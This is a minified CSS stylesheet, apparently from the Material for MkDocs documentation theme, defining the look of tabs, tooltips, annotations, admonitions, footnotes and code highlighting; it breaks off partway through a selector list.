.md-source-file__fact{margin-left:.6rem}.md-source-file__fact{align-items:center;color:var(--md-default-fg-color--light);display:inline-flex;font-size:.68rem;gap:.3rem}.md-source-file__fact .md-icon{flex-shrink:0;margin-bottom:.05rem}[dir=ltr] .md-source-file__fact .md-author{float:left}[dir=rtl] .md-source-file__fact .md-author{float:right}.md-source-file__fact .md-author{margin-right:.2rem}.md-source-file__fact svg{width:.9rem}:root{--md-status:url('data:image/svg+xml;charset=utf-8,');--md-status--new:url('data:image/svg+xml;charset=utf-8,');--md-status--deprecated:url('data:image/svg+xml;charset=utf-8,');--md-status--encrypted:url('data:image/svg+xml;charset=utf-8,')}.md-status:after{background-color:var(--md-default-fg-color--light);content:"";display:inline-block;height:1.125em;-webkit-mask-image:var(--md-status);mask-image:var(--md-status);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;vertical-align:text-bottom;width:1.125em}.md-status:hover:after{background-color:currentcolor}.md-status--new:after{-webkit-mask-image:var(--md-status--new);mask-image:var(--md-status--new)}.md-status--deprecated:after{-webkit-mask-image:var(--md-status--deprecated);mask-image:var(--md-status--deprecated)}.md-status--encrypted:after{-webkit-mask-image:var(--md-status--encrypted);mask-image:var(--md-status--encrypted)}.md-tabs{background-color:var(--md-primary-fg-color);color:var(--md-primary-bg-color);display:block;line-height:1.3;overflow:auto;width:100%;z-index:3}@media print{.md-tabs{display:none}}@media screen and (max-width:76.234375em){.md-tabs{display:none}}.md-tabs[hidden]{pointer-events:none}[dir=ltr] .md-tabs__list{margin-left:.2rem}[dir=rtl] .md-tabs__list{margin-right:.2rem}.md-tabs__list{contain:content;display:flex;list-style:none;margin:0;overflow:auto;padding:0;scrollbar-width:none;white-space:nowrap}.md-tabs__list::-webkit-scrollbar{display:none}.md-tabs__item{height:2.4rem;padding-left:.6rem;padding-right:.6rem}.md-tabs__item--active .md-tabs__link{color:inherit;opacity:1}.md-tabs__link{-webkit-backface-visibility:hidden;backface-visibility:hidden;display:flex;font-size:.7rem;margin-top:.8rem;opacity:.7;outline-color:var(--md-accent-fg-color);outline-offset:.2rem;transition:transform .4s cubic-bezier(.1,.7,.1,1),opacity .25s}.md-tabs__link:focus,.md-tabs__link:hover{color:inherit;opacity:1}[dir=ltr] .md-tabs__link svg{margin-right:.4rem}[dir=rtl] .md-tabs__link svg{margin-left:.4rem}.md-tabs__link svg{fill:currentcolor;height:1.3em}.md-tabs__item:nth-child(2) .md-tabs__link{transition-delay:20ms}.md-tabs__item:nth-child(3) .md-tabs__link{transition-delay:40ms}.md-tabs__item:nth-child(4) .md-tabs__link{transition-delay:60ms}.md-tabs__item:nth-child(5) .md-tabs__link{transition-delay:80ms}.md-tabs__item:nth-child(6) .md-tabs__link{transition-delay:.1s}.md-tabs__item:nth-child(7) .md-tabs__link{transition-delay:.12s}.md-tabs__item:nth-child(8) .md-tabs__link{transition-delay:.14s}.md-tabs__item:nth-child(9) .md-tabs__link{transition-delay:.16s}.md-tabs__item:nth-child(10) .md-tabs__link{transition-delay:.18s}.md-tabs__item:nth-child(11) .md-tabs__link{transition-delay:.2s}.md-tabs__item:nth-child(12) .md-tabs__link{transition-delay:.22s}.md-tabs__item:nth-child(13) .md-tabs__link{transition-delay:.24s}.md-tabs__item:nth-child(14) .md-tabs__link{transition-delay:.26s}.md-tabs__item:nth-child(15) .md-tabs__link{transition-delay:.28s}.md-tabs__item:nth-child(16) .md-tabs__link{transition-delay:.3s}.md-tabs[hidden] .md-tabs__link{opacity:0;transform:translateY(50%);transition:transform 0ms .1s,opacity .1s}:root{--md-tag-icon:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .md-tags:not([hidden]){display:inline-flex;flex-wrap:wrap;gap:.5em;margin-bottom:.75em;margin-top:-.125em}.md-typeset .md-tag{align-items:center;background:var(--md-default-fg-color--lightest);border-radius:2.4rem;display:inline-flex;font-size:.64rem;font-size:min(.8em,.64rem);font-weight:700;gap:.5em;letter-spacing:normal;line-height:1.6;padding:.3125em .78125em}.md-typeset .md-tag[href]{-webkit-tap-highlight-color:transparent;color:inherit;outline:none;transition:color 125ms,background-color 125ms}.md-typeset .md-tag[href]:focus,.md-typeset .md-tag[href]:hover{background-color:var(--md-accent-fg-color);color:var(--md-accent-bg-color)}[id]>.md-typeset .md-tag{vertical-align:text-top}.md-typeset .md-tag-icon:before{background-color:var(--md-default-fg-color--lighter);content:"";display:inline-block;height:1.2em;-webkit-mask-image:var(--md-tag-icon);mask-image:var(--md-tag-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;transition:background-color 125ms;vertical-align:text-bottom;width:1.2em}.md-typeset .md-tag-icon[href]:focus:before,.md-typeset .md-tag-icon[href]:hover:before{background-color:var(--md-accent-bg-color)}@keyframes pulse{0%{transform:scale(.95)}75%{transform:scale(1)}to{transform:scale(.95)}}:root{--md-annotation-bg-icon:url('data:image/svg+xml;charset=utf-8,');--md-annotation-icon:url('data:image/svg+xml;charset=utf-8,')}.md-tooltip{-webkit-backface-visibility:hidden;backface-visibility:hidden;background-color:var(--md-default-bg-color);border-radius:.1rem;box-shadow:var(--md-shadow-z2);color:var(--md-default-fg-color);font-family:var(--md-text-font-family);left:clamp(var(--md-tooltip-0,0rem) + .8rem,var(--md-tooltip-x),100vw + var(--md-tooltip-0,0rem) + .8rem - var(--md-tooltip-width) - 2 * .8rem);max-width:calc(100vw - 1.6rem);opacity:0;position:absolute;top:var(--md-tooltip-y);transform:translateY(-.4rem);transition:transform 0ms .25s,opacity .25s,z-index .25s;width:var(--md-tooltip-width);z-index:0}.md-tooltip--active{opacity:1;transform:translateY(0);transition:transform .25s cubic-bezier(.1,.7,.1,1),opacity .25s,z-index 0ms;z-index:2}.md-tooltip--inline{font-weight:700;-webkit-user-select:none;user-select:none;width:auto}.md-tooltip--inline:not(.md-tooltip--active){transform:translateY(.2rem) scale(.9)}.md-tooltip--inline .md-tooltip__inner{font-size:.5rem;padding:.2rem .4rem}[hidden]+.md-tooltip--inline{display:none}.focus-visible>.md-tooltip,.md-tooltip:target{outline:var(--md-accent-fg-color) auto}.md-tooltip__inner{font-size:.64rem;padding:.8rem}.md-tooltip__inner.md-typeset>:first-child{margin-top:0}.md-tooltip__inner.md-typeset>:last-child{margin-bottom:0}.md-annotation{font-style:normal;font-weight:400;outline:none;text-align:initial;vertical-align:text-bottom;white-space:normal}[dir=rtl] .md-annotation{direction:rtl}code .md-annotation{font-family:var(--md-code-font-family);font-size:inherit}.md-annotation:not([hidden]){display:inline-block;line-height:1.25}.md-annotation__index{border-radius:.01px;cursor:pointer;display:inline-block;margin-left:.4ch;margin-right:.4ch;outline:none;overflow:hidden;position:relative;-webkit-user-select:none;user-select:none;vertical-align:text-top;z-index:0}.md-annotation .md-annotation__index{transition:z-index .25s}@media screen{.md-annotation__index{width:2.2ch}[data-md-visible]>.md-annotation__index{animation:pulse 2s infinite}.md-annotation__index:before{background:var(--md-default-bg-color);-webkit-mask-image:var(--md-annotation-bg-icon);mask-image:var(--md-annotation-bg-icon)}.md-annotation__index:after,.md-annotation__index:before{content:"";height:2.2ch;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:-.1ch;width:2.2ch;z-index:-1}.md-annotation__index:after{background-color:var(--md-default-fg-color--lighter);-webkit-mask-image:var(--md-annotation-icon);mask-image:var(--md-annotation-icon);transform:scale(1.0001);transition:background-color .25s,transform .25s}.md-tooltip--active+.md-annotation__index:after{transform:rotate(45deg)}.md-tooltip--active+.md-annotation__index:after,:hover>.md-annotation__index:after{background-color:var(--md-accent-fg-color)}}.md-tooltip--active+.md-annotation__index{animation-play-state:paused;transition-duration:0ms;z-index:2}.md-annotation__index [data-md-annotation-id]{display:inline-block}@media print{.md-annotation__index [data-md-annotation-id]{background:var(--md-default-fg-color--lighter);border-radius:2ch;color:var(--md-default-bg-color);font-weight:700;padding:0 .6ch;white-space:nowrap}.md-annotation__index [data-md-annotation-id]:after{content:attr(data-md-annotation-id)}}.md-typeset .md-annotation-list{counter-reset:xxx;list-style:none}.md-typeset .md-annotation-list li{position:relative}[dir=ltr] .md-typeset .md-annotation-list li:before{left:-2.125em}[dir=rtl] .md-typeset .md-annotation-list li:before{right:-2.125em}.md-typeset .md-annotation-list li:before{background:var(--md-default-fg-color--lighter);border-radius:2ch;color:var(--md-default-bg-color);content:counter(xxx);counter-increment:xxx;font-size:.8875em;font-weight:700;height:2ch;line-height:1.25;min-width:2ch;padding:0 .6ch;position:absolute;text-align:center;top:.25em}:root{--md-tooltip-width:20rem;--md-tooltip-tail:0.3rem}.md-tooltip2{-webkit-backface-visibility:hidden;backface-visibility:hidden;color:var(--md-default-fg-color);font-family:var(--md-text-font-family);opacity:0;pointer-events:none;position:absolute;top:calc(var(--md-tooltip-host-y) + var(--md-tooltip-y));transform:translateY(-.4rem);transform-origin:calc(var(--md-tooltip-host-x) + var(--md-tooltip-x)) 0;transition:transform 0ms .25s,opacity .25s,z-index .25s;width:100%;z-index:0}.md-tooltip2:before{border-left:var(--md-tooltip-tail) solid #0000;border-right:var(--md-tooltip-tail) solid #0000;content:"";display:block;left:clamp(1.5 * .8rem,var(--md-tooltip-host-x) + var(--md-tooltip-x) - var(--md-tooltip-tail),100vw - 2 * var(--md-tooltip-tail) - 1.5 * .8rem);position:absolute;z-index:1}.md-tooltip2--top:before{border-top:var(--md-tooltip-tail) solid var(--md-default-bg-color);bottom:calc(var(--md-tooltip-tail)*-1 + .025rem);filter:drop-shadow(0 1px 0 hsla(0,0%,0%,.05))}.md-tooltip2--bottom:before{border-bottom:var(--md-tooltip-tail) solid var(--md-default-bg-color);filter:drop-shadow(0 -1px 0 hsla(0,0%,0%,.05));top:calc(var(--md-tooltip-tail)*-1 + .025rem)}.md-tooltip2--active{opacity:1;transform:translateY(0);transition:transform .4s cubic-bezier(0,1,.5,1),opacity .25s,z-index 0ms;z-index:2}.md-tooltip2__inner{scrollbar-gutter:stable;background-color:var(--md-default-bg-color);border-radius:.1rem;box-shadow:var(--md-shadow-z2);left:clamp(.8rem,var(--md-tooltip-host-x) - .8rem,100vw - var(--md-tooltip-width) - .8rem);max-height:40vh;max-width:calc(100vw - 1.6rem);position:relative;scrollbar-width:thin}.md-tooltip2__inner::-webkit-scrollbar{height:.2rem;width:.2rem}.md-tooltip2__inner::-webkit-scrollbar-thumb{background-color:var(--md-default-fg-color--lighter)}.md-tooltip2__inner::-webkit-scrollbar-thumb:hover{background-color:var(--md-accent-fg-color)}[role=tooltip]>.md-tooltip2__inner{font-size:.5rem;font-weight:700;left:clamp(.8rem,var(--md-tooltip-host-x) + var(--md-tooltip-x) - var(--md-tooltip-width)/2,100vw - var(--md-tooltip-width) - .8rem);max-width:min(100vw - 2 * .8rem,400px);padding:.2rem .4rem;-webkit-user-select:none;user-select:none;width:-moz-fit-content;width:fit-content}.md-tooltip2__inner.md-typeset>:first-child{margin-top:0}.md-tooltip2__inner.md-typeset>:last-child{margin-bottom:0}[dir=ltr] .md-top{margin-left:50%}[dir=rtl] .md-top{margin-right:50%}.md-top{background-color:var(--md-default-bg-color);border-radius:1.6rem;box-shadow:var(--md-shadow-z2);color:var(--md-default-fg-color--light);cursor:pointer;display:block;font-size:.7rem;outline:none;padding:.4rem .8rem;position:fixed;top:3.2rem;transform:translate(-50%);transition:color 125ms,background-color 125ms,transform 125ms cubic-bezier(.4,0,.2,1),opacity 125ms;z-index:2}@media print{.md-top{display:none}}[dir=rtl] .md-top{transform:translate(50%)}.md-top[hidden]{opacity:0;pointer-events:none;transform:translate(-50%,.2rem);transition-duration:0ms}[dir=rtl] .md-top[hidden]{transform:translate(50%,.2rem)}.md-top:focus,.md-top:hover{background-color:var(--md-accent-fg-color);color:var(--md-accent-bg-color)}.md-top svg{display:inline-block;vertical-align:-.5em}@keyframes hoverfix{0%{pointer-events:none}}:root{--md-version-icon:url('data:image/svg+xml;charset=utf-8,')}.md-version{flex-shrink:0;font-size:.8rem;height:2.4rem}[dir=ltr] .md-version__current{margin-left:1.4rem;margin-right:.4rem}[dir=rtl] .md-version__current{margin-left:.4rem;margin-right:1.4rem}.md-version__current{color:inherit;cursor:pointer;outline:none;position:relative;top:.05rem}[dir=ltr] .md-version__current:after{margin-left:.4rem}[dir=rtl] .md-version__current:after{margin-right:.4rem}.md-version__current:after{background-color:currentcolor;content:"";display:inline-block;height:.6rem;-webkit-mask-image:var(--md-version-icon);mask-image:var(--md-version-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:.4rem}.md-version__alias{margin-left:.3rem;opacity:.7}.md-version__list{background-color:var(--md-default-bg-color);border-radius:.1rem;box-shadow:var(--md-shadow-z2);color:var(--md-default-fg-color);list-style-type:none;margin:.2rem .8rem;max-height:0;opacity:0;overflow:auto;padding:0;position:absolute;scroll-snap-type:y mandatory;top:.15rem;transition:max-height 0ms .5s,opacity .25s .25s;z-index:3}.md-version:focus-within .md-version__list,.md-version:hover .md-version__list{max-height:10rem;opacity:1;transition:max-height 0ms,opacity .25s}@media (hover:none),(pointer:coarse){.md-version:hover .md-version__list{animation:hoverfix .25s forwards}.md-version:focus-within .md-version__list{animation:none}}.md-version__item{line-height:1.8rem}[dir=ltr] .md-version__link{padding-left:.6rem;padding-right:1.2rem}[dir=rtl] .md-version__link{padding-left:1.2rem;padding-right:.6rem}.md-version__link{cursor:pointer;display:block;outline:none;scroll-snap-align:start;transition:color .25s,background-color .25s;white-space:nowrap;width:100%}.md-version__link:focus,.md-version__link:hover{color:var(--md-accent-fg-color)}.md-version__link:focus{background-color:var(--md-default-fg-color--lightest)}:root{--md-admonition-icon--note:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--abstract:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--info:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--tip:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--success:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--question:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--warning:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--failure:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--danger:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--bug:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--example:url('data:image/svg+xml;charset=utf-8,');--md-admonition-icon--quote:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .admonition,.md-typeset details{background-color:var(--md-admonition-bg-color);border:.075rem solid #448aff;border-radius:.2rem;box-shadow:var(--md-shadow-z1);color:var(--md-admonition-fg-color);display:flow-root;font-size:.64rem;margin:1.5625em 0;padding:0 .6rem;page-break-inside:avoid;transition:box-shadow 125ms}@media print{.md-typeset .admonition,.md-typeset details{box-shadow:none}}.md-typeset .admonition:focus-within,.md-typeset details:focus-within{box-shadow:0 0 0 .2rem #448aff1a}.md-typeset .admonition>*,.md-typeset details>*{box-sizing:border-box}.md-typeset .admonition .admonition,.md-typeset .admonition details,.md-typeset details .admonition,.md-typeset details details{margin-bottom:1em;margin-top:1em}.md-typeset .admonition .md-typeset__scrollwrap,.md-typeset details .md-typeset__scrollwrap{margin:1em -.6rem}.md-typeset .admonition .md-typeset__table,.md-typeset details .md-typeset__table{padding:0 .6rem}.md-typeset .admonition>.tabbed-set:only-child,.md-typeset details>.tabbed-set:only-child{margin-top:0}html .md-typeset .admonition>:last-child,html .md-typeset details>:last-child{margin-bottom:.6rem}[dir=ltr] .md-typeset .admonition-title,[dir=ltr] .md-typeset summary{padding-left:2rem;padding-right:.6rem}[dir=rtl] .md-typeset .admonition-title,[dir=rtl] .md-typeset summary{padding-left:.6rem;padding-right:2rem}[dir=ltr] .md-typeset .admonition-title,[dir=ltr] .md-typeset summary{border-left-width:.2rem}[dir=rtl] .md-typeset .admonition-title,[dir=rtl] .md-typeset summary{border-right-width:.2rem}[dir=ltr] .md-typeset .admonition-title,[dir=ltr] .md-typeset summary{border-top-left-radius:.1rem}[dir=ltr] .md-typeset .admonition-title,[dir=ltr] .md-typeset summary,[dir=rtl] .md-typeset .admonition-title,[dir=rtl] .md-typeset summary{border-top-right-radius:.1rem}[dir=rtl] .md-typeset .admonition-title,[dir=rtl] .md-typeset summary{border-top-left-radius:.1rem}.md-typeset .admonition-title,.md-typeset summary{background-color:#448aff1a;border:none;font-weight:700;margin:0 -.6rem;padding-bottom:.4rem;padding-top:.4rem;position:relative}html .md-typeset .admonition-title:last-child,html .md-typeset summary:last-child{margin-bottom:0}[dir=ltr] .md-typeset .admonition-title:before,[dir=ltr] .md-typeset summary:before{left:.6rem}[dir=rtl] .md-typeset .admonition-title:before,[dir=rtl] .md-typeset summary:before{right:.6rem}.md-typeset .admonition-title:before,.md-typeset summary:before{background-color:#448aff;content:"";height:1rem;-webkit-mask-image:var(--md-admonition-icon--note);mask-image:var(--md-admonition-icon--note);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:.625em;width:1rem}.md-typeset .admonition-title code,.md-typeset summary code{box-shadow:0 0 0 .05rem var(--md-default-fg-color--lightest)}.md-typeset .admonition.note,.md-typeset details.note{border-color:#448aff}.md-typeset .admonition.note:focus-within,.md-typeset details.note:focus-within{box-shadow:0 0 0 .2rem #448aff1a}.md-typeset .note>.admonition-title,.md-typeset .note>summary{background-color:#448aff1a}.md-typeset .note>.admonition-title:before,.md-typeset .note>summary:before{background-color:#448aff;-webkit-mask-image:var(--md-admonition-icon--note);mask-image:var(--md-admonition-icon--note)}.md-typeset .note>.admonition-title:after,.md-typeset .note>summary:after{color:#448aff}.md-typeset .admonition.abstract,.md-typeset details.abstract{border-color:#00b0ff}.md-typeset .admonition.abstract:focus-within,.md-typeset details.abstract:focus-within{box-shadow:0 0 0 .2rem #00b0ff1a}.md-typeset .abstract>.admonition-title,.md-typeset .abstract>summary{background-color:#00b0ff1a}.md-typeset .abstract>.admonition-title:before,.md-typeset .abstract>summary:before{background-color:#00b0ff;-webkit-mask-image:var(--md-admonition-icon--abstract);mask-image:var(--md-admonition-icon--abstract)}.md-typeset .abstract>.admonition-title:after,.md-typeset .abstract>summary:after{color:#00b0ff}.md-typeset .admonition.info,.md-typeset details.info{border-color:#00b8d4}.md-typeset .admonition.info:focus-within,.md-typeset details.info:focus-within{box-shadow:0 0 0 .2rem #00b8d41a}.md-typeset .info>.admonition-title,.md-typeset .info>summary{background-color:#00b8d41a}.md-typeset .info>.admonition-title:before,.md-typeset .info>summary:before{background-color:#00b8d4;-webkit-mask-image:var(--md-admonition-icon--info);mask-image:var(--md-admonition-icon--info)}.md-typeset .info>.admonition-title:after,.md-typeset .info>summary:after{color:#00b8d4}.md-typeset .admonition.tip,.md-typeset details.tip{border-color:#00bfa5}.md-typeset .admonition.tip:focus-within,.md-typeset details.tip:focus-within{box-shadow:0 0 0 .2rem #00bfa51a}.md-typeset .tip>.admonition-title,.md-typeset .tip>summary{background-color:#00bfa51a}.md-typeset .tip>.admonition-title:before,.md-typeset .tip>summary:before{background-color:#00bfa5;-webkit-mask-image:var(--md-admonition-icon--tip);mask-image:var(--md-admonition-icon--tip)}.md-typeset .tip>.admonition-title:after,.md-typeset .tip>summary:after{color:#00bfa5}.md-typeset .admonition.success,.md-typeset details.success{border-color:#00c853}.md-typeset .admonition.success:focus-within,.md-typeset details.success:focus-within{box-shadow:0 0 0 .2rem #00c8531a}.md-typeset .success>.admonition-title,.md-typeset .success>summary{background-color:#00c8531a}.md-typeset .success>.admonition-title:before,.md-typeset .success>summary:before{background-color:#00c853;-webkit-mask-image:var(--md-admonition-icon--success);mask-image:var(--md-admonition-icon--success)}.md-typeset .success>.admonition-title:after,.md-typeset .success>summary:after{color:#00c853}.md-typeset .admonition.question,.md-typeset details.question{border-color:#64dd17}.md-typeset .admonition.question:focus-within,.md-typeset details.question:focus-within{box-shadow:0 0 0 .2rem #64dd171a}.md-typeset .question>.admonition-title,.md-typeset .question>summary{background-color:#64dd171a}.md-typeset .question>.admonition-title:before,.md-typeset .question>summary:before{background-color:#64dd17;-webkit-mask-image:var(--md-admonition-icon--question);mask-image:var(--md-admonition-icon--question)}.md-typeset .question>.admonition-title:after,.md-typeset .question>summary:after{color:#64dd17}.md-typeset .admonition.warning,.md-typeset details.warning{border-color:#ff9100}.md-typeset .admonition.warning:focus-within,.md-typeset details.warning:focus-within{box-shadow:0 0 0 .2rem #ff91001a}.md-typeset .warning>.admonition-title,.md-typeset .warning>summary{background-color:#ff91001a}.md-typeset .warning>.admonition-title:before,.md-typeset .warning>summary:before{background-color:#ff9100;-webkit-mask-image:var(--md-admonition-icon--warning);mask-image:var(--md-admonition-icon--warning)}.md-typeset .warning>.admonition-title:after,.md-typeset .warning>summary:after{color:#ff9100}.md-typeset .admonition.failure,.md-typeset details.failure{border-color:#ff5252}.md-typeset .admonition.failure:focus-within,.md-typeset details.failure:focus-within{box-shadow:0 0 0 .2rem #ff52521a}.md-typeset .failure>.admonition-title,.md-typeset .failure>summary{background-color:#ff52521a}.md-typeset .failure>.admonition-title:before,.md-typeset .failure>summary:before{background-color:#ff5252;-webkit-mask-image:var(--md-admonition-icon--failure);mask-image:var(--md-admonition-icon--failure)}.md-typeset .failure>.admonition-title:after,.md-typeset .failure>summary:after{color:#ff5252}.md-typeset .admonition.danger,.md-typeset details.danger{border-color:#ff1744}.md-typeset .admonition.danger:focus-within,.md-typeset details.danger:focus-within{box-shadow:0 0 0 .2rem #ff17441a}.md-typeset .danger>.admonition-title,.md-typeset .danger>summary{background-color:#ff17441a}.md-typeset .danger>.admonition-title:before,.md-typeset .danger>summary:before{background-color:#ff1744;-webkit-mask-image:var(--md-admonition-icon--danger);mask-image:var(--md-admonition-icon--danger)}.md-typeset .danger>.admonition-title:after,.md-typeset .danger>summary:after{color:#ff1744}.md-typeset .admonition.bug,.md-typeset details.bug{border-color:#f50057}.md-typeset .admonition.bug:focus-within,.md-typeset details.bug:focus-within{box-shadow:0 0 0 .2rem #f500571a}.md-typeset .bug>.admonition-title,.md-typeset .bug>summary{background-color:#f500571a}.md-typeset .bug>.admonition-title:before,.md-typeset .bug>summary:before{background-color:#f50057;-webkit-mask-image:var(--md-admonition-icon--bug);mask-image:var(--md-admonition-icon--bug)}.md-typeset .bug>.admonition-title:after,.md-typeset .bug>summary:after{color:#f50057}.md-typeset .admonition.example,.md-typeset details.example{border-color:#7c4dff}.md-typeset .admonition.example:focus-within,.md-typeset details.example:focus-within{box-shadow:0 0 0 .2rem #7c4dff1a}.md-typeset .example>.admonition-title,.md-typeset .example>summary{background-color:#7c4dff1a}.md-typeset .example>.admonition-title:before,.md-typeset .example>summary:before{background-color:#7c4dff;-webkit-mask-image:var(--md-admonition-icon--example);mask-image:var(--md-admonition-icon--example)}.md-typeset .example>.admonition-title:after,.md-typeset .example>summary:after{color:#7c4dff}.md-typeset .admonition.quote,.md-typeset details.quote{border-color:#9e9e9e}.md-typeset .admonition.quote:focus-within,.md-typeset details.quote:focus-within{box-shadow:0 0 0 .2rem #9e9e9e1a}.md-typeset .quote>.admonition-title,.md-typeset .quote>summary{background-color:#9e9e9e1a}.md-typeset .quote>.admonition-title:before,.md-typeset .quote>summary:before{background-color:#9e9e9e;-webkit-mask-image:var(--md-admonition-icon--quote);mask-image:var(--md-admonition-icon--quote)}.md-typeset .quote>.admonition-title:after,.md-typeset .quote>summary:after{color:#9e9e9e}:root{--md-footnotes-icon:url('data:image/svg+xml;charset=utf-8,')}.md-typeset .footnote{color:var(--md-default-fg-color--light);font-size:.64rem}[dir=ltr] .md-typeset .footnote>ol{margin-left:0}[dir=rtl] .md-typeset .footnote>ol{margin-right:0}.md-typeset .footnote>ol>li{transition:color 125ms}.md-typeset .footnote>ol>li:target{color:var(--md-default-fg-color)}.md-typeset .footnote>ol>li:focus-within .footnote-backref{opacity:1;transform:translateX(0);transition:none}.md-typeset .footnote>ol>li:hover .footnote-backref,.md-typeset .footnote>ol>li:target .footnote-backref{opacity:1;transform:translateX(0)}.md-typeset .footnote>ol>li>:first-child{margin-top:0}.md-typeset .footnote-ref{font-size:.75em;font-weight:700}html .md-typeset .footnote-ref{outline-offset:.1rem}.md-typeset [id^="fnref:"]:target>.footnote-ref{outline:auto}.md-typeset .footnote-backref{color:var(--md-typeset-a-color);display:inline-block;font-size:0;opacity:0;transform:translateX(.25rem);transition:color .25s,transform .25s .25s,opacity 125ms .25s;vertical-align:text-bottom}@media print{.md-typeset .footnote-backref{color:var(--md-typeset-a-color);opacity:1;transform:translateX(0)}}[dir=rtl] .md-typeset .footnote-backref{transform:translateX(-.25rem)}.md-typeset .footnote-backref:hover{color:var(--md-accent-fg-color)}.md-typeset .footnote-backref:before{background-color:currentcolor;content:"";display:inline-block;height:.8rem;-webkit-mask-image:var(--md-footnotes-icon);mask-image:var(--md-footnotes-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;width:.8rem}[dir=rtl] .md-typeset .footnote-backref:before svg{transform:scaleX(-1)}[dir=ltr] .md-typeset .headerlink{margin-left:.5rem}[dir=rtl] .md-typeset .headerlink{margin-right:.5rem}.md-typeset .headerlink{color:var(--md-default-fg-color--lighter);display:inline-block;opacity:0;transition:color .25s,opacity 125ms}@media print{.md-typeset .headerlink{display:none}}.md-typeset .headerlink:focus,.md-typeset :hover>.headerlink,.md-typeset :target>.headerlink{opacity:1;transition:color .25s,opacity 125ms}.md-typeset .headerlink:focus,.md-typeset .headerlink:hover,.md-typeset :target>.headerlink{color:var(--md-accent-fg-color)}.md-typeset :target{--md-scroll-margin:3.6rem;--md-scroll-offset:0rem;scroll-margin-top:calc(var(--md-scroll-margin) - var(--md-scroll-offset))}@media screen and (min-width:76.25em){.md-header--lifted~.md-container .md-typeset :target{--md-scroll-margin:6rem}}.md-typeset h1:target,.md-typeset h2:target,.md-typeset h3:target{--md-scroll-offset:0.2rem}.md-typeset h4:target{--md-scroll-offset:0.15rem}.md-typeset div.arithmatex{overflow:auto}@media screen and (max-width:44.984375em){.md-typeset div.arithmatex{margin:0 -.8rem}.md-typeset div.arithmatex>*{width:min-content}}.md-typeset div.arithmatex>*{margin-left:auto!important;margin-right:auto!important;padding:0 .8rem;touch-action:auto}.md-typeset div.arithmatex>* mjx-container{margin:0!important}.md-typeset div.arithmatex mjx-assistive-mml{height:0}.md-typeset del.critic{background-color:var(--md-typeset-del-color)}.md-typeset del.critic,.md-typeset ins.critic{-webkit-box-decoration-break:clone;box-decoration-break:clone}.md-typeset ins.critic{background-color:var(--md-typeset-ins-color)}.md-typeset .critic.comment{-webkit-box-decoration-break:clone;box-decoration-break:clone;color:var(--md-code-hl-comment-color)}.md-typeset .critic.comment:before{content:"/* "}.md-typeset .critic.comment:after{content:" */"}.md-typeset .critic.block{box-shadow:none;display:block;margin:1em 0;overflow:auto;padding-left:.8rem;padding-right:.8rem}.md-typeset .critic.block>:first-child{margin-top:.5em}.md-typeset .critic.block>:last-child{margin-bottom:.5em}:root{--md-details-icon:url('data:image/svg+xml;charset=utf-8,')}.md-typeset details{display:flow-root;overflow:visible;padding-top:0}.md-typeset details[open]>summary:after{transform:rotate(90deg)}.md-typeset details:not([open]){box-shadow:none;padding-bottom:0}.md-typeset details:not([open])>summary{border-radius:.1rem}[dir=ltr] .md-typeset summary{padding-right:1.8rem}[dir=rtl] .md-typeset summary{padding-left:1.8rem}[dir=ltr] .md-typeset summary{border-top-left-radius:.1rem}[dir=ltr] .md-typeset summary,[dir=rtl] .md-typeset summary{border-top-right-radius:.1rem}[dir=rtl] .md-typeset summary{border-top-left-radius:.1rem}.md-typeset summary{cursor:pointer;display:block;min-height:1rem;overflow:hidden}.md-typeset summary.focus-visible{outline-color:var(--md-accent-fg-color);outline-offset:.2rem}.md-typeset summary:not(.focus-visible){-webkit-tap-highlight-color:transparent;outline:none}[dir=ltr] .md-typeset summary:after{right:.4rem}[dir=rtl] .md-typeset summary:after{left:.4rem}.md-typeset summary:after{background-color:currentcolor;content:"";height:1rem;-webkit-mask-image:var(--md-details-icon);mask-image:var(--md-details-icon);-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain;position:absolute;top:.625em;transform:rotate(0deg);transition:transform .25s;width:1rem}[dir=rtl] .md-typeset summary:after{transform:rotate(180deg)}.md-typeset summary::marker{display:none}.md-typeset summary::-webkit-details-marker{display:none}.md-typeset .emojione,.md-typeset .gemoji,.md-typeset .twemoji{--md-icon-size:1.125em;display:inline-flex;height:var(--md-icon-size);vertical-align:text-top}.md-typeset .emojione svg,.md-typeset .gemoji svg,.md-typeset .twemoji svg{fill:currentcolor;max-height:100%;width:var(--md-icon-size)}.md-typeset .lg,.md-typeset .xl,.md-typeset .xxl,.md-typeset .xxxl{vertical-align:text-bottom}.md-typeset .middle{vertical-align:middle}.md-typeset .lg{--md-icon-size:1.5em}.md-typeset .xl{--md-icon-size:2.25em}.md-typeset .xxl{--md-icon-size:3em}.md-typeset .xxxl{--md-icon-size:4em}.highlight .o,.highlight .ow{color:var(--md-code-hl-operator-color)}.highlight .p{color:var(--md-code-hl-punctuation-color)}.highlight .cpf,.highlight .l,.highlight .s,.highlight .s1,.highlight .s2,.highlight .sb,.highlight .sc,.highlight .si,.highlight 